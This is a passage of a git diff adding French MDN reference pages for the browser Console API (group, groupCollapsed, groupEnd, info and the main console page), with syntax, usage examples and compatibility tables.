+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.Console.error")}}</div>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console#errors_and_warnings">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/fr/web/api/console/group/index.html b/files/fr/web/api/console/group/index.html
new file mode 100644
index 0000000000..5b4a81302d
--- /dev/null
+++ b/files/fr/web/api/console/group/index.html
@@ -0,0 +1,86 @@
+---
+title: Console.group()
+slug: Web/API/Console/group
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthodes
+  - Web
+  - console
+  - débogage
+translation_of: Web/API/Console/group
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Création d'un nouveau groupe en ligne dans la <a href="/en-US/docs/Tools/Web_Console">console Web</a>. Cela indente les messages de console suivants par un niveau supplémentaire, jusqu'à ce que {{domxref("console.groupEnd()")}} soit appelé.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">console.group();
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>donne une étiquette au groupe. Facultatif. (Chrome 59 testé). Ne fonctionne pas avec<code> </code> <code>console.groupEnd()</code>.</dd>
+</dl>
+
+<p>{{h3_gecko_minversion("Using groups in the console", "9.0")}}</p>
+
+<p><span id="result_box" lang="fr"><span>Vous pouvez utiliser des groupes imbriqués pour organiser votre sortie en associant visuellement les messages correspondants.</span> <span>Pour créer un nouveau bloc imbriqué, appelez <code>console.group ()</code>.</span> <span>La méthode <code>console.groupCollapsed ()</code> est similaire, mais le nouveau bloc est réduit et nécessite de cliquer sur un bouton de divulgation pour le lire.</span></span></p>
+
+<div class="note">
+<p><strong>Note :</strong> De Gecko 9 jusqu'à Gecko 51, la méthode <code>groupCollapsed()</code> n'était pas identique à <code>group()</code>. Les groupes réduits sont entièrement pris en charge depuis Gecko 52. Voir {{bug("1088360")}}.</p>
+</div>
+
+<p>Pour sortir du groupe courant, appeler <code>console.groupEnd()</code>. Par exemple, étant donné ce code :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"This is the outer level"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">group</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Level 2"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">group</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Level 3"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">warn</span><span class="punctuation token">(</span><span class="string token">"More of level 3"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">groupEnd</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Back to level 2"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">groupEnd</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Back to the outer level"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p><span class="short_text" id="result_box" lang="fr"><span>La sortie ressemble à ceci :</span></span></p>
+
+<p><img alt="A screenshot of messages nested in the console output." src="https://developer.mozilla.org/@api/deki/files/6082/=nesting.png"></p>
+
+<p>Pour plus de détail, se reporter à l'article <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Using_groups_in_the_console">Using groups in the console</a> dans la documentation sur la {{domxref("console")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consolegroupobject-object-", "console.group()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Console.group")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/fr/web/api/console/groupcollapsed/index.html b/files/fr/web/api/console/groupcollapsed/index.html
new file mode 100644
index 0000000000..11679a50e2
--- /dev/null
+++ b/files/fr/web/api/console/groupcollapsed/index.html
@@ -0,0 +1,64 @@
+---
+title: Console.groupCollapsed()
+slug: Web/API/Console/groupCollapsed
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthode
+  - Reference
+  - Web
+  - console
+  - débogage
+translation_of: Web/API/Console/groupCollapsed
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><span id="result_box" lang="fr"><span>Crée un nouveau groupe intégré dans la</span></span> console Web. <span id="result_box" lang="fr"><span>Contrairement à {{domxref ("console.group ()")}}, le nouveau groupe est créé réduit.</span> <span>L'utilisateur devra utiliser le bouton de divulgation à côté pour le développer, en révélant les entrées créées dans le groupe.</span></span></p>
+
+<p><span lang="fr"><span>Appellez </span></span> {{domxref("console.groupEnd()")}} pour revenir au groupe parent.</p>
+
+<p>Voir <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Using_groups_in_the_console">Using groups in the console</a> dans la documentation  de {{domxref("console")}}  pour plus de détails et des exemples.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.groupCollapsed([label]);
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Étiquette pour le groupe. Facultatif.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#groupcollapsed", "console.groupCollapsed()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Console.groupCollapsed")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/fr/web/api/console/groupend/index.html b/files/fr/web/api/console/groupend/index.html
new file mode 100644
index 0000000000..5bd3f19cb9
--- /dev/null
+++ b/files/fr/web/api/console/groupend/index.html
@@ -0,0 +1,55 @@
+---
+title: Console.groupEnd()
+slug: Web/API/Console/groupEnd
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthode
+  - console
+  - débogage
+translation_of: Web/API/Console/groupEnd
+---
+<p>{{APIRef("Console API")}}</p>
+
+<p>Quitte le groupe en ligne actuel dans la <a href="https://developer.mozilla.org/fr/docs/Outils/Console_Web">console Web</a>. Voir  <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Using_groups_in_the_console">Using groups in the console</a>  dans la documentation {{domxref("console.group()")}} pour plus de détails et des exemples.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.groupEnd();
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<p>Aucun.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#groupend", "console.groupEnd()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Console.groupEnd")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/fr/web/api/console/index.html b/files/fr/web/api/console/index.html
new file mode 100644
index 0000000000..822d90a5da
--- /dev/null
+++ b/files/fr/web/api/console/index.html
@@ -0,0 +1,275 @@
+---
+title: Console
+slug: Web/API/Console
+tags:
+  - API
+  - Interface
+  - Reference
+  - console
+  - débogage
+translation_of: Web/API/Console
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>L'objet <strong><code>console</code></strong> donne accès à la console de débogage du navigateur (par exemple., la<a href="https://developer.mozilla.org/fr/docs/Outils/Console_Web"> Console Web</a> dans Firefox). Les spécificités de fonctionnement varient d'un navigateur à l'autre, mais il y a tout de même un ensemble de fonctionnalités qui sont fournies de base.</p>
+
+<p>La <code>console</code> est accessible de n'importe quel objet global, {{domxref("Window")}} du cadre de navigation, {{domxref("WorkerGlobalScope")}} et ses variantes spécifiques pour les workers. <span id="result_box" lang="fr"><span>Elle est exposée comme {{domxref ("Window.console")}} et peut être référencée simplement comme console.</span> <span>Par exemple :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Failed to open the specified link"</span><span class="punctuation token">)</span></code></pre>
+
+<p>Cette page documente les {{anch("Methods", "méthodes")}} disponibles pour l'objet <code>console</code> et donne quelques {{anch("Usage", "exemples d'utilisation")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Console.assert()")}}</dt>
+ <dd>Affiche un message et une trace d'appels dans la console si l'assertion en argument est à <code>false</code>.</dd>
+ <dt>{{domxref("Console.clear()")}}</dt>
+ <dd>Vide la console.</dd>
+ <dt>{{domxref("Console.count()")}}</dt>
+ <dd>Affiche le nombre de fois que la ligne a été appelée avec un label donné.</dd>
+ <dt>{{domxref("Console.debug()")}}</dt>
+ <dd>Un alias de <code>log().</code></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> <span id="result_box" lang="fr"><span>À partir de Chromium 58, cette méthode n'apparaît que dans les consoles de navigateur Chromium lorsque le niveau "Verbose" est sélectionné.</span></span></p>
+</div>
+
+<dl>
+ <dt>{{domxref("Console.dir()")}} {{Non-standard_inline}}</dt>
+ <dd>Affiche une liste interactive des propriétés d'un objet JavaScript donné. Cette liste vous permet d'examiner le contenu des enfants de l'objet en ouvrant les détails (petits triangles).</dd>
+ <dt>{{domxref("Console.dirxml()")}} {{Non-standard_inline}}</dt>
+ <dd>
+ <p>Affiche si possible une représentation d'éléments XML/HTML d'un objet spécifié. Sinon, c'est une vue de l'objet JavaScript.</p>
+ </dd>
+ <dt>{{domxref("Console.error()")}}</dt>
+ <dd>Affiche un message d'erreur. Vous pouvez utiliser les <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Utiliser_les_caractères_de_substitution">caractères de substitution</a> et des arguments supplémentaires avec cette méthode.</dd>
+ <dt>{{domxref("Console._exception()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Un alias d'<code>error();</code></dd>
+ <dt>{{domxref("Console.group()")}}</dt>
+ <dd>Crée un nouveau <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Using_groups_in_the_console">groupe</a> en ligne, correspondant à un nouveau niveau d'indentation. Contrairement à <code>group()</code>. Pour revenir au niveau précédent, appeler <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupCollapsed()")}}</dt>
+ <dd>Crée un nouveau <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Using_groups_in_the_console">groupe</a> en ligne, correspondant à un nouveau niveau d'indentation. Contrairement à <code>group()</code> , <span id="result_box" lang="fr"><span>cela commence avec le groupe en ligne effondré, nécessitant l'utilisation d'un bouton de divulgation pour l'agrandir</span></span>. Pour revenir au niveau précédent, appeler <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupEnd()")}}</dt>
+ <dd>Quitte le <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Using_groups_in_the_console">groupe</a> d'indentation courant.</dd>
+ <dt>{{domxref("Console.info()")}}</dt>
+ <dd>Affiche un message d'information. Vous pouvez utiliser les <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Utiliser_les_caractères_de_substitution">caractères de substitution</a> et des arguments supplémentaires avec cette méthode.</dd>
+ <dt>{{domxref("Console.log()")}}</dt>
+ <dd>Permet d'afficher des messages dans la console. Vous pouvez utiliser les <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Utiliser_les_caractères_de_substitution">caractères de substitution</a> et des arguments supplémentaires avec cette méthode.</dd>
+ <dt>{{domxref("Console.profile()")}} {{Non-standard_inline}}</dt>
+ <dd>démarre le profilage du navigateur (par exemple, l'<a href="https://developer.mozilla.org/fr/docs/Outils/Performance">outil performances de Firefox</a>). Vous pouvez spécifier un nom en option pour ce profil.</dd>
+ <dt>{{domxref("Console.profileEnd()")}} {{Non-standard_inline}}</dt>
+ <dd>Arrête le profilage. Vous pouvez voir le résultat de ce dernier dans l'outil « performance » du navigateur (par exemple, l'<a href="https://developer.mozilla.org/fr/docs/Outils/Performance">outil performance Firefox</a>).</dd>
+ <dt>{{domxref("Console.table()")}}</dt>
+ <dd>Affiche des données tabulaires comme un tableau.</dd>
+ <dt>{{domxref("Console.time()")}}</dt>
+ <dd>Démarre un <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Timers">chronomètre</a> que l'on peut nommer en le spécifiant en tant que paramètre. Jusqu'à 10 000 chronomètres simultanés peuvent tourner sur une page.</dd>
+ <dt>{{domxref("Console.timeEnd()")}}</dt>
+ <dd>Arrête le <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Timers">chronomètre</a> spécifié et affiche le temps écoulé en millisecondes depuis son démarrage.</dd>
+ <dt>{{domxref("Console.timeStamp()")}} {{Non-standard_inline}}</dt>
+ <dd>Ajoute un marqueur dans la <a href="https://developer.chrome.com/devtools/docs/timeline">Timeline</a> du navigateur ou l'outil <a href="https://developer.mozilla.org/fr/docs/Outils/Performance/Waterfall">Waterfall</a>.</dd>
+ <dt>{{domxref("Console.trace()")}}</dt>
+ <dd>Affiche une <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Traces_d%27appel">trace d'appels</a>.</dd>
+ <dt>{{domxref("Console.warn()")}}</dt>
+ <dd>Affiche un message d'avertissement. Vous pouvez utiliser les <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Utiliser_les_caractères_de_substitution">caractères de substitution</a> et des arguments supplémentaires avec cette méthode.</dd>
+</dl>
+
+
+<h2 id="Usage" name="Usage">Exemples d'utilisation</h2>
+
+<h3 id="Outputting_text_to_the_console" name="Outputting_text_to_the_console">Afficher du texte dans la console</h3>
+
+<p>La fonction la plus utilisée de la console est d'afficher du texte ou autres données. Il y a quatre sortes d'affichages que vous pouvez générer, en utilisant les méthodes {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, et {{domxref("console.error()")}}. Chacune de ces méthodes génére un affichage différent dans la console, et vous pouvez utiliser les fonctions de filtrage du navigateur pour voir uniquement les types de sortie qui vous intéressent.</p>
+
+<p>Il y a deux manières d'utiliser chacune de ces méthodes de sortie ; Vous pouvez passer une liste d'objets dont leur représentation sera concaténée dans une seule chaine et s'affichera dans la console, ou vous pouvez passer une chaîne de caractères contenant zéro et plus de caractères de substitution suivis d'une liste d'objets avec lesquels les remplacer.</p>
+
+<h4 id="Afficher_un_seul_objet">Afficher un seul objet</h4>
+
+<p>La manière la plus simple d'utiliser les méthodes de « log » est d'afficher un seul objet :</p>
+
+<pre class="brush: js">var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+</pre>
+
+<p>L'affichage ressemblera à ceci :</p>
+
+<pre>[09:27:13.475] ({str:"Some text", id:5})</pre>
+
+<h4 id="Afficher_plusieurs_objets">Afficher plusieurs objets</h4>
+
+<p>Vous pouvez aussi afficher plusieurs objets, en les séparant par une virgule, comme ceci :</p>
+
+<pre class="brush: js">var car = "Dodge Charger";
+var someObject = {str:"Some text", id:5};
+console.info("My first car was a", car, ". The object is: ", someObject);</pre>
+
+<p>L'affichage ressemblera à ceci :</p>
+
+<pre>[09:28:22.711] My first car was a Dodge Charger . The object is:  ({str:"Some text", id:5})
+</pre>
+
+<h4 id="Utiliser_les_caractères_de_substitution">Utiliser les caractères de substitution</h4>
+
+<p>Gecko 9.0 {{geckoRelease("9.0")}} a amené le support des caractères de substitution. Lorsque l'on passe en argument une chaîne à l'une des méthodes qui acceptent des chaînes de caractère, on peut utiliser ces caractères de substitution :</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">caractère de substitution</td>
+   <td class="header">description</td>
+  </tr>
+  <tr>
+   <td>%o or %O</td>
+   <td>Affiche un lien hypertexte sur un objet JavaScript. Cliquer le lien ouvre l'inspecteur.</td>
+  </tr>
+  <tr>
+   <td>%d or %i</td>
+   <td>Affiche un entier. <span id="result_box" lang="fr"><span>Le formatage des nombres est supporté, par exemple console.log ("Foo% .2d", 1.1) affichera le nombre sous forme de deux chiffres significatifs avec un 0 : Foo 01</span></span></td>
+  </tr>
+  <tr>
+   <td>%s</td>
+   <td>Affiche une chaîne de caractères.</td>
+  </tr>
+  <tr>
+   <td>%f</td>
+   <td>Affiche un nombre réél. Le formatage est supporté, par exemple, <code>console.log("Foo %.2f", 1.1)</code> affichera un nombre avec 2 décimales : <code>Foo 1.10</code> .</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Chacun de ceux-ci ira chercher l'argument qui suit la chaîne à formater. Par exemple :</p>
+
+<pre>for (var i=0; i&lt;5; i++) {
+  console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+</pre>
+
+<p>L'affichage ressemblera à ceci :</p>
+
+<pre>[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+</pre>
+
+<h4 id="Donner_un_style_à_l'affichage_de_la_console">Donner un style à l'affichage de la console</h4>
+
+<p>Vous pouvez utiliser l'instruction <code>"%c"</code> pour appliquer du style CSS à l'affichage de la console :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"This is %cMy stylish message"</span><span class="punctuation token">,</span> <span class="string token">"color: yellow; font-style: italic; background-color: blue;padding: 2px"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<div><img alt="" src="https://mdn.mozillademos.org/files/12527/CSS-styling.png" style="display: block; margin: 0 auto;"></div>
+
+<div> </div>
+
+<div class="note">
+<p> <strong>Note :</strong> <span id="result_box" lang="fr"><span>Un certain nombre de propriétés CSS sont supportées par ce style;</span> <span>vous devriez expérimenter et voir lesquels s'avèrent utiles.</span></span></p>
+</div>
+
+<p>{{h3_gecko_minversion("Using groups in the console", "9.0")}}</p>
+
+<p>Vous pouvez utiliser des groupes imbriqués pour vous aider à vous repérer dans l'affichage. Pour créer un nouveau bloc, appelez <code>console.group()</code>. La méthode <code>console.groupCollapsed()</code> est similaire, mais elle crée un bloc qui sera réduit.</p>
+
+<div class="note"><strong>Note  :</strong> "Collapsed groups" ne sont pas supportés pour l'instant dans Gecko; La méthode <code>groupCollapsed()</code> est la même que <code>group()</code> en ce moment.</div>
+
+<p class="note">Pour quitter le groupe dans lequel on est, appeler <code>console.groupEnd()</code>. Par exemple, examinez ce code :</p>
+
+<pre class="brush: js">console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.debug("Back to the outer level");
+</pre>
+
+<p>L'affichage ressemblera à ceci :</p>
+
+<p><img alt="nesting.png" class="default internal" src="/@api/deki/files/6082/=nesting.png"></p>
+
+<div>{{h3_gecko_minversion("Timers", "10.0")}}</div>
+
+<p>Pour calculer la durée d'une opération spécifique, Gecko 10 a amené le supports des chronomètres dans l'objet <code>console</code>.  pour démarrer un chronomètre, appelez la méthode <code>console.time</code><code>()</code> en lui donnant un seul paramètre, son nom. Pour arrêter le chronomètre et obtenir le temps écoulé en millisecondes, utilisez la méthode <code>console.timeEnd()</code>, en passant à nouveau le nom du chronomètre comme paramètre. Une seule page peut faire tourner un maximum de 10.000 chronomètres.</p>
+
+<p>Par exemple, voici ce code :</p>
+
+<pre class="brush: js">console.time("answer time");
+alert("Click to continue");
+console.timeEnd("answer time");
+</pre>
+
+<p>affichera le temps pour l'utilisateur dont il a eu besoin pour faire disparaitre la fenêtre d'alerte :</p>
+
+<p><img alt="timerresult.png" class="default internal" src="/@api/deki/files/6084/=timerresult.png"></p>
+
+<p>Notez que le nom du chronomètre est affiché deux fois, à son départ et quand il se termine.</p>
+
+<div class="note"><strong>Note:</strong> Il est important de noter que si vous vous servez de ceci pour enregistrer les durées du traffic réseau, le chronomètre renverra le temps total d'échanges, alors que les durées affichées dans l'onglet network représente seulement la durée à la réception du header. Si vous avez activer l'enregistrement de réponse du body, le temps listé pour la réponse du header et du body devrait correspondre à ce qu'affiche la sortie de la console.</div>
+
+<h3 id="Traces_d'appel">Traces d'appel</h3>
+
+<p>L'objet console supporte aussi l'affichage d'une trace d'appels ; cela montre le chemin pris pour atteindre l'endroit auquel vous avez fait appel à la fonction {{domxref("console.trace()")}}. Ce qui donne avec ce code :</p>
+
+<pre>foo();
+
+function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+</pre>
+
+<p>L'affichage dans la console ressemblera à ceci :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7167/api-trace2.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li><span id="result_box" lang="fr"><span>Au moins dans Firefox, si une page définit un objet console, cet objet remplace celui créé dans Firefox.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Antérieur à {{Gecko ("12.0")}}, les méthodes de l'objet console ne fonctionnent que lorsque la console Web est ouverte.</span> <span>À partir de {{Gecko ("12.0")}}, la sortie est mise en cache jusqu'à ce que la console Web soit ouverte, puis affichée à ce moment-là.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Il est à noter que l'objet de console intégré de Firefox est compatible avec celui fourni par</span></span> <a class="external" href="http://getfirebug.com/" title="http://getfirebug.com/">Firebug</a>.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Outils" title="Tools">Outils de développement</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Outils/Console_Web" title="Web Console">Console web</a> - <span id="result_box" lang="fr"><span>comment la console Web de Firefox gère les appels d'API de console</span></span></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Outils/D%C3%A9bogage_distant">Débogage distant</a> - <span id="result_box" lang="fr"><span>comment afficher la sortie de la console lorsque la cible de débogage est un périphérique mobile</span></span></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Archive/B2G_OS/Debugging/Journalisation_console" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">Journalisation console sur l'appareil</a> - <span class="short_text" id="result_box" lang="fr"><span>comment se connecter sur les appareils Firefox OS</span></span></li>
+</ul>
+
+<h3 id="Autres_implémentations">Autres implémentations</h3>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Google Chrome DevTools</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/hh772173(v=vs.85).aspx">Internet Explorer</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari</a></li>
+</ul>
diff --git a/files/fr/web/api/console/info/index.html b/files/fr/web/api/console/info/index.html
new file mode 100644
index 0000000000..b66d16dddb
--- /dev/null
+++ b/files/fr/web/api/console/info/index.html
@@ -0,0 +1,138 @@
+---
+title: Console.info()
+slug: Web/API/Console/info
+tags:
+  - API
+  - Debugging
+  - Method
+  - NeedsBrowserCompatibility
+  - web console
+translation_of: Web/API/Console/info
+---
+<p>{{ APIRef("Console API") }}{{Non-standard_header}}</p>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>Affiche un message informatif dans la console du navigateur. Dans Firefox et Chrome, une petit icône de <em>i </em>s'affiche devant le message.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">console.info(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.info(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Une liste d'objets JavaScript à afficher. La représentation, en chaîne de caractéres, de chacun de ces objets est affichée dans l'ordre de la liste.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Une chaîne de caractères JavaScript contenant zéro ou plusieurs subdivisions de chaîne de caractères.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Une liste d'objets JavaScript qui remplace les chaînes de caractéres de <code>msg</code>. Cela vous donne plus de contrôle sur le format de sortie.</dd>
+</dl>
+
+<p>Voir <a href="/fr/docs/Web/API/Console#Outputting_text_to_the_console" title="DOM/console#Outputting_text_to_the_console">Afficher du texte sur la console</a> dans la documentation de {{ domxref("console") }} pour plus de détails.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p><a href="https://github.com/DeveloperToolsWG/console-object/blob/master/api.md#consoleinfoobject--object-">Console Object API</a></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>8</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Substitution strings</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("9.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Information icon</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{ CompatVersionUnknown() }}</span></td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("38.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
